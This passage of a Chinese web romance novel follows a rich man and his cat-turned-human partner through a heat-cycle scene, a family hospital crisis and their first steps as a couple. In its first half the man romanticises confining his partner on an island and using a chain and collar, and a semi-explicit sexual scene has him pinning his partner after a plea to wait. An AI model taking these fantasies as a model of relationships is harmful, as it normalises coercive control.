顾司沉想起了自己在印度洋靠近马尔代夫的那个私人小岛, 小岛被潟湖环绕，水清沙白, 阳光充沛, 最重要的是只有快艇和水上飞机才能抵达。如果把吴雪安置在岛上，再配合安保系统，将会万无一失。 可缺点也十分显而易见，小岛距离他的城市太远, 要是不能天天见到吴雪, 他会发疯。 要考虑的问题太多了，所以顾司沉迟迟没有进行下一步动作。他目前的打算是先改造古贸壹号的房子，着重建设郊区的庄园，度假时就带着吴雪去无人小岛。 和电路工程师约定下次见面时间, 顾司沉手机震动起来, 是顾亭安发来的音频文件。 他上车戴上耳机, 漫不经心地点开音频。 “不然你搬出去试试看？”顾亭安的声音传来，“我看小说里都这么写的，在一起时不知道珍惜, 等一方离开后另一方就追悔莫及。” 什么馊主意？顾司沉皱眉，已经打算按暂停。 “不要。” 另一道熟悉的声音响起，这给了顾司沉信心，所以他决定继续听下去。 “我要一直和他在一起。” 顾司沉想象着吴雪说这话时的神情，相比看起来非常严肃，坚毅。 顾亭安又开口了：“如果有天你不喜欢他了呢？” 顾司沉呼吸沉了沉，回过神才发现自己已经按了暂停。轿车驶过繁华的街道，初冬的天空昏昏沉沉。 他其实可以选择不听，只要他不继续听下去，吴雪就永远没有离开他的可能。 但最终，顾司沉按下播放键。 “我怎么可能会不喜欢顾司沉？就算我不那么喜欢他，我也不会离开他。” “为什么？” “因为他是我的人啊，猫怎么会离开自己的宠人？” 对话到此结束，降噪耳机隔绝了外界的一切噪音，显得顾司沉的心跳声越发剧烈。 他反反复复听了许多遍，直到能背诵所有对话，甚至连吴雪的语气都了然于心。轿车停在古贸壹号停车场，顾司沉取下耳机，朝着家里大步奔去。 “我回来了。”他推开大门，客厅里静悄悄的，看不出还有另一人存在的痕迹。 吴雪不在家，难道还和顾亭安呆在一起？ 顾司沉问顾亭安，却被告知这个音频是两天前的，他今天都没和吴雪见面。 顾司沉依次寻找了客厅、卧室、书房、厨房、浴室……整个家中都没有吴雪的痕迹。 顾司沉站在卧室门口，原本因为那个音频淡去的阴暗情绪再次上涌。他想，他果然还是需要这些。顾司沉返回保险柜，拿出里面的锁链和项圈。 锁链和项圈都是奢侈品品牌特别定制，与其说它们是束缚人的工具，倒不如更像某种时尚的装饰品。 顾司沉细细地抚摸着这些东西，脑海中幻想吴雪佩戴它们的样子。小猫就应该被关在家里，没有主人的允许，哪里也不许去。 可他又忍不住心软，觉得吴雪这么热爱自由，一定受不了这样的限制。 顾司沉等了一个多小时，吴雪都没有回来。就在他终于下定决心顺从内心时，衣帽间里突然传来“咚”的一声响。 顾司沉走进衣帽间，听见了一阵细小的喘气声。他拉开衣柜大门，发现吴雪蜷缩在衣柜里，身上盖着他穿过的大衣。 吴雪没有发现顾司沉，只是一个劲儿地把脸颊埋在大衣里，贪婪地汲取着顾司沉的味道和气息。与此同时，他双腿却毫无防备地暴露在外面，脚趾无意识地抓紧。毛茸茸的尾巴也从身后钻了出来，牢牢缠住白嫩的大腿，有一种色欲的纯洁。 顾司沉就这样静静地看着吴雪，直到吴雪泄气一般瘫软了身体，随后耳朵也耷拉下来，尾巴软软垂到一旁。吴雪终于从大衣里钻出身体，吐出一口含混的热气。 “你在做什么？”顾司沉问。 吴雪有些迷茫地抬起头，脸上还残余着余韵的红晕。 顾司沉站在吴雪跟前，垂下眼眸时有一种不近人情的严厉，他重复问道：“吴雪，你在做什么？” 面前的男人西装革履，随时可以出席最正式的国际会议。可衣柜里的吴雪不着寸缕，只有一件大衣勉强可以遮蔽身体。 吴雪终于后知后觉地感到难堪，他抓着大衣领子，又把身体缩了进去，只有一只尾巴不安地在外面摆动。 但是很快，他连尾巴都动不了了。 因为顾司沉按住他不安分的尾巴，逼问他：“你发情期到了？” 吴雪终于从大衣里钻了出来，自暴自弃地说：“你不是都看到了吗？” 顾司沉：“为什么不告诉我？” “告诉你又有什么用？”吴雪越想越委屈，眼中也弥漫起雾气，“反正你都不想和我做，难道你又打算假惺惺的骗我吗？” 顾司沉稳住呼吸，耐心解释：“不是你想的那样，我没有不想和你发生关系。” 吴雪：“骗子。” 顾司沉握住他脚踝，掌心炽热，微微用力：“吴雪，我没有骗你。” 吴雪身体颤抖起来，他试图收回自己的脚踝，可顾司沉却故意使坏，就不放开他，反复尝试三次都不得其法，吴雪终于忍不住哭了出来。 他哭泣的模样格外可怜，豆大的眼泪源源不断地下落，把浓密的睫毛打湿成一簇簇，鼻尖和嘴唇也泛着粉红，湿漉漉的。 他抬头看向顾司沉，用这幅可怜得不行的表情和顾司沉据理力争：“你以为我看不出来吗？你就是不相信我喜欢你，觉得我不够爱你。你不想和我亲热，可是又不知道该怎么拒绝，所以就干脆陪我演一场戏。” 顾司沉依旧稳稳站在原地，心脏却仿佛被刀挖一样疼。他蹲在吴雪面前，声音哑得不像话：“说完了吗？” 吴雪用那双噙着眼泪的猫眼瞪他。 顾司沉叹了口气，替他擦掉脸上的眼泪：“可不可以听我解释？” 吴雪垂下眼眸，眼泪又落了出来，过了好一会儿他才重新抬眼看向顾司沉，用浓重的鼻音和嘶哑的声音说：“你说，我听着。” 顾司沉却伸手将他抱了起来，转身往卧室走去。吴雪轻轻一动，身上的大衣就掉到了地上。吴雪身上一片泥泞，难堪又委屈，他把脸埋进顾司沉怀里，恨不得找个地缝钻进去。 他以为顾司沉要奚落他，嘲笑他随时发.情，可顾司沉却只是轻轻拍了拍他后背，问：“冷不冷？” 地暖在入冬时就打开了，吴雪轻轻摇头。 顾司沉就把他放在床上，又用热毛巾擦拭他的身体，看着吴雪在柜子里被撞红的手肘，露出心疼的表情：“怎么还是喜欢躲在柜子里？不难受吗？” “不要转移话题，”吴雪收回手，瞪着顾司沉说，“你的解释呢。” 顾司沉把冷掉的毛巾放到一旁，过了好一会儿才说：“你觉得自己变成人后，和做猫有什么不同？” 吴雪愣了愣，随后一一细数二者的区别。变成人后最开心的就是吃的东西更多了，好玩儿的也更多了。在吴雪看来，人类是非常重欲的种族，孜孜不倦地追求着美味的食物，各式各样的快乐。 顾司沉：“只有食欲和追求快乐吗？” 吴雪认真地想了想，摇头：“我想不出别的了。” 他做人的时间不长，还不能完全理解人类的复杂欲.望。 “性欲呢？”顾司沉又问。 吴雪有点儿难以启齿，但还是诚实地说：“性.欲猫重吧，毕竟我们都有发情期。” 顾司沉却摇了头：“猫有发情期，证明你们会阶段性发情，阶段性清心寡欲。” “对啊，”吴雪说，“可是人类又没有发情期。” 顾司沉：“人的发情期是可控的，换句话说，人可以随时随地的发情。一年365天，一天24小时，只要我想，我随时可以和你发生关系。” 吴雪呆住了。 他看着外面这些人，每一个都衣着体面，文明讲礼，觉得人是脱离了发情期这种低级趣味的生物。 可顾司沉这番话却打得他措手不及，开什么玩笑？一年365天，一天24小时，顾司沉随时想和他发生关系？ 吴雪摇头，不相信这种说辞：“可你又不会这样。” 顾司沉侧坐在床边，幽深的目光注视着他：“你为什么觉得我不会？” 吴雪：“反正你不是那种人。” 顾司沉突然轻笑出声，他并不经常笑，过于冷酷的五官让他的笑容完全不清爽，反而带上了一股残酷的感觉。 他捂着吴雪的眼睛，俯身在吴雪耳边说：“很遗憾，这点你猜错了……” 顾司沉低头和吴雪接吻，他的动作依旧算不上激烈，可在他滚烫的体温中，以及比平时都要重的力道下，逐渐浮现出了一种令人无法招架的东西。 吴雪忍不住有些腿软，无端地感到一阵恐惧。他感觉自己变成了猎物，被顾司沉咬住了咽喉。 强烈的不安全感让吴雪开始害怕，他伸手推开面前的男人，祈求道：“顾司沉，你等等……” 顾司沉却抓着吴雪双手拉到头顶，开始舔吴雪尖尖的犬齿。 此时吴雪已经半兽化了，耳朵毛茸茸的立在头顶，尾巴不安地在身后甩来甩去，过长的犬齿抵着嘴唇，让他不得不张开嘴巴。顾司沉顺势咬住他嘴唇，吴雪不敢用力，害怕犬齿将人咬伤，顾司沉就越发放肆，肆意欺辱吴雪。 这和吴雪之前的每一次亲吻都不同，他有一种自己会被顾司沉吃掉的错觉。 吴雪弓起后背，想要逃离顾司沉的钳制，后者却用另一只手按住他胯骨，低头咬他胸前的一点。吴雪瞬间就弹了起来，又被顾司沉重重按了下去。 不对，不应该是这样的…… 吴雪盯着天花板，有些崩溃地想，这不是他想象中的亲热。 可顾司沉甚至不给他反应时间，又握住他的腰往上一提。 吴雪坐在顾司沉腰上，碰到了顾司沉的……他低下头，难以置信地睁大了眼睛。 谁也没有说话，只有呼吸声越来越沉。 顾司沉有着一张不管是人还是猫都觉得非常帅气的脸，他肤色白皙，充满教养，行为举止彬彬有礼。 可唯独这个地方，像是怪物一样狰狞。 吴雪吓得快要哭了，耳朵耷拉下来，尾巴紧紧地夹在腿间。顾司沉却强行掰开他尾巴，让他后面暴露在外。 吴雪身体不住地颤抖起来，犬齿紧紧咬住下唇。就在这时，他听见顾司沉问：“你还要继续吗？” 吴雪咬住嘴唇，一声不吭。头顶的猫耳因为恐惧变成飞机耳，聪明毛和犟种毛都很长。 “我现在只是亲你，摸你，抱你，”顾司沉单手掐着吴雪的腰，另一只手指腹触碰他腹部，用不那么平静的语气说，“可如果再继续下去，就会像我之前说的那样，我会把东西放进你肚子，把你这里顶出形状，哪怕你哭着求我也不会停。” 顾司沉直视着吴雪的眼睛，一字一句：“吴雪，这才是人类的喜欢，你还想要和我继续吗？” 吴雪彻底呆住了，他身体因为警惕而紧绷，可说出的话却很温柔，黏黏糊糊的，还带着鼻音：“原来你喜欢这样吗？” 顾司沉直白道：“我喜欢这样。” “我……”吴雪斟酌着语言。 “你想清楚了再回答。”顾司沉打断了他的话。 吴雪不服气地看着顾司沉。 “现在拒绝我，你的生活不会有任何改变，你一样可以做我的猫，我们也可以继续保持之前的相处模式。可如果你还要继续……” 顾司沉深吸了一口气，他此时情绪是非常浓烈的，可他说话的语气却非常平静，没有威胁，也没有诱导。 他把选择权留给吴雪，所以只是用平静的语气说：“很抱歉，我不能在恋爱中继续做你无所不能的主人。如果再继续下去，你会看到我糟糕的一面，我的坏脾气，我的嫉妒心，我的占有欲。我做不到再无条件地宠爱你，我同样需要你的支持，也会向你索取情绪。吴雪，哪怕是这样，你也还愿意和我在一起吗？” 第33章 吴雪似乎没那么怕了, 他双手撑着顾司沉胸膛，微微往前挪动身体看着顾司沉的眼睛说：“可以让我想一想吗？” 顾司沉起初没有反应，直到吴雪喊了他名字, 这才松了手，说：“可以。” 吴雪没有立刻从顾司沉身上下来，他看着顾司沉灯光下深邃的眉眼，犹豫了一会儿试探着问：“那我现在可以亲你一下吗？” 顾司沉微微偏开脑袋，不去看吴雪现在的样子：“为了你自己着想, 最好不要。” 吴雪：“可我觉得你想被我亲。” 漫长的安静后, 顾司沉粗大的喉结上下滚动, 最终他闭上眼睛认命般地点了头。 吴雪俯身亲吻顾司沉，又用脑袋去蹭他颈窝。毛茸茸的猫耳扫在脸上, 顾司沉紧绷的身体逐渐恢复平静。他伸手抚摸吴雪的脑袋, 又低头亲吻吴雪的额头，像以往一样温情多过情.欲。 然后他拍拍吴雪肩膀，说：“睡吧。” 吴雪又开开心心地躺进顾司沉怀里，可过了一会儿, 他又抬头问：“我现在这样会让你觉得困扰吗？” 顾司沉沉默数秒, 摇头说：“不会。” 吴雪这才放下心来，脸颊贴着顾司沉的胸膛睡着了。 此时的吴雪还不能完全理解顾司沉那番话的含义，可他隐隐有了一种猜测，顾司沉不是不要他, 相反, 顾司沉要的比他想象中要多得多。 小猫只需要吃饱喝足, 解决欲.望，满足最基本的生存条件就行。 可人不一样，人重欲、贪婪, 孜孜不倦地追求着各种物质、感情、情绪，当然也会诞生许多负面情绪。吴雪所渴望的猫一样的关系在人与人之间无法再继续，他当然可以退一步继续做一只猫，可如果他选择往前呢？ 吴雪一时得不出答案，好在顾司沉也没有要求他立刻回答。相处再次恢复正常，可他们都清楚，这样的正常只是暂时，随时可以被打破。 但他们谁都没有想到，促成结果的竟然是顾亭安的心脏手术。 两周后，顾亭安等到了自己的心脏捐赠，终于可以进行心脏移植手术了。 得到消息的那天顾司沉正在邻市出差，吴雪和肖冕先陪顾亭安去了医院，费钧第一时间安排了手术。 顾司沉还在赶回来的路上，吴雪和肖冕陪着顾亭安准备手术，他们都不是严格意义上的人，也没有完整经历顾亭安的过去，不知该如何应对这样的重要时刻。 肖冕话不多，只是握着顾亭安的手说：“你不要紧张，我向你保证，手术不会出事。” 顾亭安笑了笑：“我不紧张，倒是你，手怎么一直在发抖？” 肖冕霎时没了声。 吴雪又问顾司沉到哪儿了，后者说还要一个小时，吴雪算了算时间，估计赶不上顾亭安进手术室了。 吴雪本来想说怎么这么倒霉，可转念一想，顾司沉应该比他更着急。他笨拙地发消息安慰顾司沉，又觉得词不达意，似乎也没比肖冕好多少。 心脏移植手术争分夺秒，捐赠心脏正在送来的路上，顾亭安马上就要被推进手术室。 顾氏家大业大，人丁旺盛，可不知什么原因，顾亭安手术竟无一人到场。 就在护士把人推进手术室前，一个高挑的中年女人突然出现在病房外，冲顾亭安笑了下：“安安。” 顾亭安睁大眼睛，露出了吴雪从未见过的情绪。 女人走进病房，继续解释：“我刚好回国联系了费均，他说你要手术了，就过来看看。” 顾亭安把脑袋埋进女人怀里，吴雪听见他喊女人妈妈。 等顾司沉回来，手术已经进行了一会儿，吴雪告诉他手术情况，然后抬头看了眼旁边。 顾司沉顺着吴雪的目光看去，愣了愣：“妈……您怎么过来了？” 王向云又解释了一遍她出现的原因，然后走到一旁对顾司沉说：“我们聊聊吧。” 顾司沉嗯了一声，跟着走到了休息室另一头。 王向云：“你把安安照顾得不错。” 顾司沉：“是亭安令人省心。” 他们太久没见面了，一时间都不知道该说什么。又过了一会儿，王向云才再次开口：“你拍了我的画？” 顾司沉有点儿尴尬，但还是承认了。 王向云：“不用费那个力气，你想要我直接送你。” 顾司沉：“我有钱买。” 王向云这才笑了下，说：“看来你最近过得不错。” 顾司沉不置可否。 “回来前我本来还有些害怕，但看你们现在过得都挺好，身边有人陪伴，那我就放心了。”说这话时她抬头看向一旁的吴雪，眼中流露出赞赏的神情。 顾司沉解释：“我们不是那种关系……” “不用解释，我早看出来了。”王向云收回目光，又说，“别这么紧张，我不会干涉你们。等你到了我这个年纪就会发现，人这一辈子只有极少概率能遇到真正爱的人。司沉，不管对方性别身份如何，我都祝福你们。” 在顾司沉复杂的目光中，王向云给了他一个拥抱，低声说了句对不起。 顾司沉接受她的道歉，惊讶地发现自己竟然非常平静。 曾经他或许期待着母亲的回望与和解，可当这一刻真正发生，他觉得自己似乎又没有那么触动了。他想，或许是因为他已经进入一段崭新的关系里，不需要再一遍遍咀嚼曾经的创伤经历。 手术还在进行中，时间已经超过预期。 一阵焦急的等待中，肖冕突然竖起耳朵，警惕地看向手术室。 吴雪：“怎么了？” 肖冕只是摇头，独自走到了手术室外墙角处。 没过多久，二助医生出来解释情况，说手术过程中出现大出血，目前还在抢救当中，所以花费时间比预计要长。 吴雪突然想起刚才肖冕的反应，他悄悄跟了上去，发现肖冕已经变成了缅因猫，正在使用猫能力。 吴雪立刻说：“我帮你。” 又过了两个小时，顾亭安终于转危为安，被送入ICU。与此同时，顾司沉在角落里发现了晕倒的缅因和吴雪。 等吴雪醒来，顾亭安已经苏醒被送出了ICU，吴雪却不知什么原因一直维持着猫的体型，每天睡觉时间超过16个小时。 又过了两天，肖冕突然告诉吴雪，他要解除和顾光耀的绑定。 肖冕此时已经恢复成人型，穿着黑色冲锋衣，身上看不出半点儿属于猫的痕迹。 吴雪还是维持着猫的样子，因为毛发太长挂着舌头而生气。 他舔了好久终于放弃，抬头问肖冕：“为什么？” 肖冕说：“我想和顾亭安重新绑定。” 来自猫猫岛的猫都拥有猫能力，但这种力量并不强大，只能改变极少数的事和人，完全无法和人类抗衡。但如果作用在自己的绑定人身上，猫能力会稍微厉害一些。 顾光耀当初把猫能力用于害人，所以才弄巧成拙。如果他把这个能力用于提升自我，说不定已经过上了理想的生活。 而这次救顾亭安也是，肖冕心有余悸：“我的能力被限制了，要不是当时你在场，凭我自己可能无法救顾亭安。” 吴雪有些着急：“可我们和谁绑定是上一世的因果规定的，解绑会有严重的后果……” “我当然知道，”缅因猫说，“但我只要顾亭安平安。” 一周后，吴雪听说顾光耀在当地黑.帮斗争中受伤，断了一根肋骨。于是吴雪知道肖冕解绑成功了，这是当初肖冕替他挡灾的反扑。 肖冕回来了，看起来似乎一切如常。可吴雪知道，以后肖冕每个月都会发病数日，身处剧烈的疼痛中，只有绑定人的体.液和气味才能缓解，这是他解除绑定的惩罚。 吴雪问他是否爱上了顾亭安，肖冕说他不知道，可吴雪却觉得答案不言而喻。他爱顾亭安，宁愿不惜一切代价地守护他。 吴雪突然感到了一股强烈的震撼，这是他当猫时从未体验过的感情深度。 他开始想，他也能这样爱顾司沉吗？ 顾司沉说他可以继续当一只猫，作为一只宠物享受主人的疼爱，而不用付出任何代价。 可当吴雪闭上眼，又想起那晚顾司沉看向自己的眼神，冰冷的表象下压抑着炽热的渴望。 他无法无视那样的顾司沉。 · 顾司沉探望顾亭安回来，发现吴雪坐在沙发上，目光严肃地看着他。 顾司沉愣了下，问：“你又可以变成人了？” “嗯，”吴雪动了动耳朵和尾巴，说，“只是还不太稳定。” 顾司沉看了眼他毛茸茸的耳朵，很有分寸地没有触碰。 吴雪又问：“亭安怎么样了？” 顾司沉：“恢复不错，再过几天就可以出院了。” 吴雪松了口气：“太好了。” 顾司沉看了又看，最终还是过来揉了把吴雪脑袋，缓声道：“手术那天谢谢你。” 吴雪摇头，毛茸茸的猫耳朵就滑过顾司沉手心。顾司沉很自然地揉了揉，又仿佛突然意识到什么迅速收了手。 “顾司沉。”吴雪仰头看他，很严肃的表情。 自从说要给吴雪留时间想想，他们就很久没有这么亲密过了。顾司沉有些难过，又觉得这样也没什么。 他问吴雪：“怎么了？” 吴雪说：“我想试试看。” 毫无由来的一句话，顾司沉却懂了。他沉默了好一会儿才开口，语气没有太大的波动：“为什么？你明明更愿意做一只猫。而且就算你不答应，你照样可以过之前的日子。” 吴雪却伸手抱住他，声音很温柔地说：“因为我觉得你需要我，你想我答应你。” 顾司沉身体僵住了。 吴雪继续说道：“虽然你一次次警告我不要靠近，你把选择权交给我自己，你每一句话都在推开我，可顾司沉，你有没有看过自己的眼睛？” 吴雪看着顾司沉的眼睛，一字一句：“你的眼神却仿佛在说：吴雪，你爱爱我吧。不是以宠物对主人的爱，而是以人的方式来爱你。承认吧，你就是希望我看见你的缺点后，依然还会爱你。” 顾司沉想要反驳，却一句话也说不出来。 他惊觉自己被吴雪窥见了最私密、最隐晦的欲望，甚至连他自己可能都不曾意识到自己的这种诉求，可吴雪却直白地戳穿了他。 此刻他不再是游刃有余的主人，也不是彬彬有礼的绅士，他褪去所有伪装，变成了一个自私、孤独、渴望被爱的普通人。 他全神贯注地，等待来自吴雪的判决。 吴雪却笑了，用一种很不可思议的语气说：“顾司沉，你怎么这么紧张啊。” “有吗？”顾司沉动作僵硬地坐下，说，“我一直这么严肃。” “有哦，”吴雪趴在他肩头，用似曾相识的话说，“顾司沉，你就这么喜欢我啊？” “是啊，”顾司沉也不装了，他把吴雪抱在自己膝盖上，一手玩弄吴雪毛茸茸的尾巴，一手捏着吴雪耳朵，明知故问，“那你愿意给我这个机会吗？” 吴雪脸颊很快就红了，他挣扎着身体，语气严肃地警告：“不许对猫猫动手动脚。” “哦。”顾司沉松开手，又脸皮很厚地亲他，并在吴雪抗议时说，“你没说不让我动嘴。” “……” 吴雪怒了，大声道：“顾司沉，你还要不要听我后面的话了！” 顾司沉这才停了下来，露出有些无措的样子。 吴雪本来还在气头上，一看他这幅样子又心软了，根本生不起来气。而且现在气氛不对，说那些话也显得太肉麻了。 吴雪说不出口，偏偏顾司沉还明知故问：“你要说什么？” “没有了，”吴雪气鼓鼓地说，“反正你又不想听这些。” 顾司沉说我想听，可吴雪铁了心，无论如何都不多说一个字。 直到第二天，顾司沉在办公室打开公文包，发现里面多了一封手写信： 顾司沉， 你是我的人，我当然会爱你， 哪怕你自私，爱吃醋，没有安全感，充满占有欲， 我依然爱你。 顾司沉， 我不要无所不能的主人，我要你做我爱人。 你的吴雪 落款上面还盖了一个猫爪印。 第34章 顾司沉回家时带了花, 他捧着花站在门外整理西装，这才回了家。 “顾司沉，欢迎回家！”进门下一刻, 吴雪在门后掏出一束鲜花，和顾司沉买的一模一样。 顾司沉愣了下，随即笑着说：“看来我们心有灵犀。” 吴雪看着顾司沉手里的玫瑰花，眨了眨眼睛：“你也买了花？” 顾司沉：“嗯。” 吴雪明知故问：“给谁买的？” 顾司沉很配合地说：“给你买的。” 吴雪终于笑了起来，很开心地说：“原来是送我的, 谢谢你。” 吴雪接过花, 耳朵因为高兴嘭的一下钻了出来。 顾司沉又亲了亲吴雪脸颊, 这下吴雪连尾巴都冒出来了，紧紧缠着顾司沉的手腕不放开。 尾巴缠手腕仿佛无形的邀请, 顾司沉眸色暗了暗, 还算冷静地问吴雪：“你想继续还是出门约会？” “约会？”吴雪还有些茫然。 顾司沉：“就像我们上次去游乐园那样。” 吴雪立刻说：“那我要去约会！” 顾司沉拍了拍他屁股，说：“衣服送来了，你去换上吧。” 顾司沉给吴雪定制了几套西服，最近一周陆续送到了, 顾司沉挑了相对正式的一套让吴雪换上。 衣帽间里, 吴雪看着自己耳朵和尾巴，有些苦恼地说：“顾司沉，我耳朵和尾巴怎么办？” 吴雪裤子卡在尾巴下面，顾司沉帮忙也拉不上来。顾司沉摸了摸尾巴, 问：“下不去吗？” “嗯, ”吴雪点头, “我最近高兴就总这样。” “那怎么办啊？”顾司沉很恶劣地问，“总不能裤子都不穿就出门吧？” 吴雪委屈巴巴：“那约会不能去了吗？” 顾司沉说：“不知道呢。” 吴雪急了：“那怎么办啊？” 顾司沉：“你亲我一下我就告诉你。” 吴雪乖巧地亲了他一下。 顾司沉指了指嘴巴，吴雪又去亲他嘴巴。顾司沉按住他后脑勺, 加深这个吻。吴雪满脸通红，这下尾巴更收不回去了。 “有尾巴也没关系，”发现吴雪似乎快要哭了，顾司沉这才揉了揉他脑袋，说，“我包了餐厅，不会有别人。” 吴雪也没有穿西装了，换上了他最喜欢的巴黎世家，把裤链那面穿在后面，乍一看还以为什么时髦的新款。 裤子的困难解决了，吴雪又在外面套了一件宽松的羽绒服，再往头上戴个帽子，和那些时髦的年轻男孩儿没什么区别。 顾司沉隔着帽子揉吴雪脑袋，用赞许的语气说：“宝宝真聪明。” 吴雪扬起下巴：“那当然。” 顾司沉换了身正装，又让管家给吴雪定一批后腰开洞的裤子，才和吴雪一起出了门。 这家餐厅开在历史文化街区，据说已经有一百年的历史。此时正是饭点，因为包场，原本人声鼎沸的餐厅只有他们两人。 吴雪挽着顾司沉的手往里走，说：“你觉不觉得，我们现在有一种偶像剧里主角约会的感觉。” “就是约会。”顾司沉替他拉开椅子，仔细介绍菜单上的内容。 食物非常丰盛，美观，也很美味。 餐厅环境很好，窗外是古老的街道，不时有学生骑着自行车从窗外经过，青春洋溢，看着和吴雪差不多大小。 用餐结束，顾司沉说附近是贸城大学，问吴雪想不想去看看。正好吴雪吃得有点儿撑，便点头同意了。 他们走的是侧门，人稍微少一些，显得更加幽静。贸城大学是本地最好的大学，历史悠久，有非常浓厚的人文学术气息。 进了校门，他们穿过长满爬山虎的砖红小楼，偶尔会有人过来和顾司沉打招呼，询问是否可以合影。 吴雪好奇：“这是你的母校吗？” “不是，”顾司沉说，“我的中学和大学都是在国外念的。” “哦。” “但我公司有许多贸城大学的毕业生。” “这样啊。”吴雪多了几分兴趣，认真地看了起来。 穿过小楼是一个大大的湖泊，这是贸城大学最知名的地标性景观。黄昏时分，湖边的步行走道上聚满了人，有音乐社的人在演奏，有话剧社的人在这里排练，有人在看书，也有人在约会。 吴雪充满好奇地看着这一切，觉得有趣极了。 树下围了一堆学生，原来是在看一只小猫咪。小猫睡得相当熟，不管人怎么弄它都没反应。 吴雪也过去逗了逗，小猫却似乎有些怕他，立刻翻身爬到了树上。哎，都怪他现在太强大，浑身上下都散发着猛兽的气息。 逛完一圈，他们在湖边的长椅上坐下休息，草木萧瑟，夕阳把湖水照得浓稠发亮。 吴雪兴奋地和顾司沉说着刚才的见闻，又举着手机拍了许多照片。 顾司沉问他：“你喜欢这里？” “喜欢，”吴雪用力点头，“这里的大家都很有趣。” 他又和顾司沉分享自己刚才拍到的照片，广场上有美术系用骨架和塑料袋做出来的作品，那是一个巨大的室外装置猫咪，甚至还能走。 顾司沉看着他亮晶晶的眼睛，又问：“你想来这里上学吗？” 吴雪张了张嘴，有些迟疑：“那我不会和你分开吗？” “不会，”顾司沉说，“学校离家只有几公里，你可以住家里，每天来学校上学，就和我工作一样。” 吴雪有点儿纠结，犹豫道：“可我不是已经有了家庭老师，为什么还要来大学上学？” “不一样的，”顾司沉看着湖边的年轻人，缓缓说道，“大学不仅是学习知识的场所，也是结交朋友、开阔眼界的途径。在这里你会认识许多同龄人，你们可能成为朋友，也可能碰撞出新的思想和创造。同龄人之间的平等交流，这是家庭教育给不了的。” 吴雪皱眉，又说：“可我不知道要学什么。” 顾司沉问他：“你有没有什么想做的事？” 吴雪回答得很快：“赚钱。” 顾司沉又问：“赚钱做什么？” 吴雪说：“我想建更多的猫咪之家，希望全天下的小猫都有家，再也不用挨饿受冻，生病了也能得到治疗。” “很好的想法，”顾司沉说，“那你就需要学习如何赚钱，然后在各个地方都建猫咪之家。” 吴雪点头：“我本来打算继续做直播挣钱的。” 他直播收益挺高的，他担心上大学会影响他挣钱，这样目标就变得遥遥无期了。 顾司沉：“那我们来假设一下，你现在是打算直播挣钱，然后用挣到的钱建更多的猫咪之家。” 吴雪：“嗯。” 顾司沉：“你找谁建猫咪之家？” 吴雪：“我自己啊。” 顾司沉：“那你去建猫咪之家，还能直播挣钱吗？” 吴雪有些纠结：“可以吧，只是会少挣点儿……” 顾司沉：“可你挣的钱少了，又怎么有钱建猫咪之家？” 吴雪皱眉，突然灵光一闪：“那我花钱请别人帮我建猫咪之家呢。” 顾司沉：“那你就掌握了基本的雇佣关系。” “雇佣关系？”吴雪眼睛亮了亮。 顾司沉：“你要建更多的猫咪之家，你就要雇佣更多的人。但世界太大了，凭你自己很难覆盖全球，只有用大型公司、动物救助基金会的方式，才能达成目的。” “好复杂，”吴雪皱眉，苦恼起来，“就不能有一个好心的神出现，让所有猫咪都能获得幸福吗？” 顾司沉笑了笑：“说不定你就是那个好心的神呢？” 这话一出，吴雪再也无法说出任何拒绝的话了。最后决定一边上学，一边去顾司沉公司里实习。 可吴雪很快又苦恼起来：“可是我都没有学历，难道还要从小学念起？” 顾司沉：“你知道顾光耀怎么上的大学吗？” 吴雪摇头。 顾司沉：“捐楼。” 用同样的方法，吴雪顺利拿到了学籍，将在来年秋季和新生一同入学经济学院。至于公司实习，吴雪将跟着孟知从实习助理干起。 · 古贸集团总裁办来了个年轻人，唇红齿白，聪明伶俐，见谁都笑，招人喜欢得不行。 顾司沉本来还担心吴雪难以融入团队，没想到吴雪来公司一周，已经成为办公室的吉祥物。天天桌上堆满零食，工作大家争着带，连顾司沉都找不到机会和他说话。 吃饭时也有李小桃陪着吴雪，顾司沉连吃饭都不能和吴雪一起。 顾司沉自己在办公室吃了几天午饭，后面直接去了员工餐厅。前几天他都随机挑选下属配餐，直到第四天，终于挑中了吴雪。 吴雪排的队伍快一些，比李小桃先打到饭，然后选了张小圆桌。 刚准备坐下，他头顶响起一道声音：“有人吗？” “有了，”吴雪说，“李小桃和我一起的。” 顾司沉端着餐盘，没吭声。 周围员工都震惊了，他们不认识吴雪，但认识顾司沉啊，谁敢拒绝大老板的用餐邀请？！ 刚过来的李小桃：“！！！” “没有没有，”她立刻把头摇得像是拨浪鼓，“老板您请坐！！” 顾司沉微微一笑，很礼貌地问：“会不会打扰你们？” 吴雪正要开口，李小桃就拦住他，说：“不会不会，您请坐。” 顾司沉这才坐下，慢条斯理地吃着员工餐。 李小桃不敢挨着顾司沉，绕到吴雪那边和吴雪并排坐。顾司沉看着二人几乎快要碰到一起的胳膊，问：“吴秘书最近挺忙？” “挺忙的，”吴雪说，“刚入公司，有好多事情要学。” “工作很多吗？”顾司沉又问。 “有点儿多，”吴雪诚实道，“但主要是我知识储备少了，什么都需要教，所以工作进度很慢。” 李小桃：“……” 傻孩子，你也太实诚了。 但出乎他意料之外的是，顾司沉并没有嫌弃员工不行，只是说：“你还小，慢慢学。” 吴雪点头：“嗯，我也是这么想的。” 午饭后，公司各部门工作群突然收到人事通知，说今天是圣诞节，大家可以下午4点下班，正常算考勤。 整栋楼都沸腾了，吴雪也想过圣诞节，可他紧赶慢赶都没能提前完成工作。下午四点，总裁办的员工陆续离开，最后只剩下吴雪一个人。 吴雪一腔工作热情，迅速被冰冷的现实打败，做人好难哦，要上班就更难了，人为什么要上班？就不能像猫一样睡了吃吃了睡吗？ 下一刻办公室门打开，顾司沉换了套衣服，精致华丽得仿佛要去约会。 他看了眼吴雪，问：“还不走？” 吴雪泪眼汪汪：“顾司沉，我还没有完成工作。” 顾司沉：“还剩多少？” 吴雪张开双手比划：“这么多。” 顾司沉拉过椅子和吴雪一起工作，偶尔教授一些工作技巧。 李小桃走到地铁站，发现自己忘记拿东西又回了趟公司。刚走到办公室门口，就看见他们新人被总裁抱在膝盖上哄。 李小桃：！！！ 你们竟然是这种关系！李小桃一脸震惊地离开，连东西都顾不上拿了。 办公室，吴雪终于做完了全部工作，和顾司沉一起上了车。 冬季天黑得早，车刚开出车库就赶上了市政开灯，行道树上的小灯串像萤火虫一样亮了起来，又像是一场纷纷扬扬的大雪。 吴雪趴着车窗，看得目不转睛。 顾司沉：“喜欢吗？” “喜欢！”吴雪用力点头，他喜欢一切亮晶晶的东西。 回家时，吴雪惊讶地发现公寓大堂也布置了圣诞树，物业戴着圣诞帽，正在给住户发送圣诞礼物。 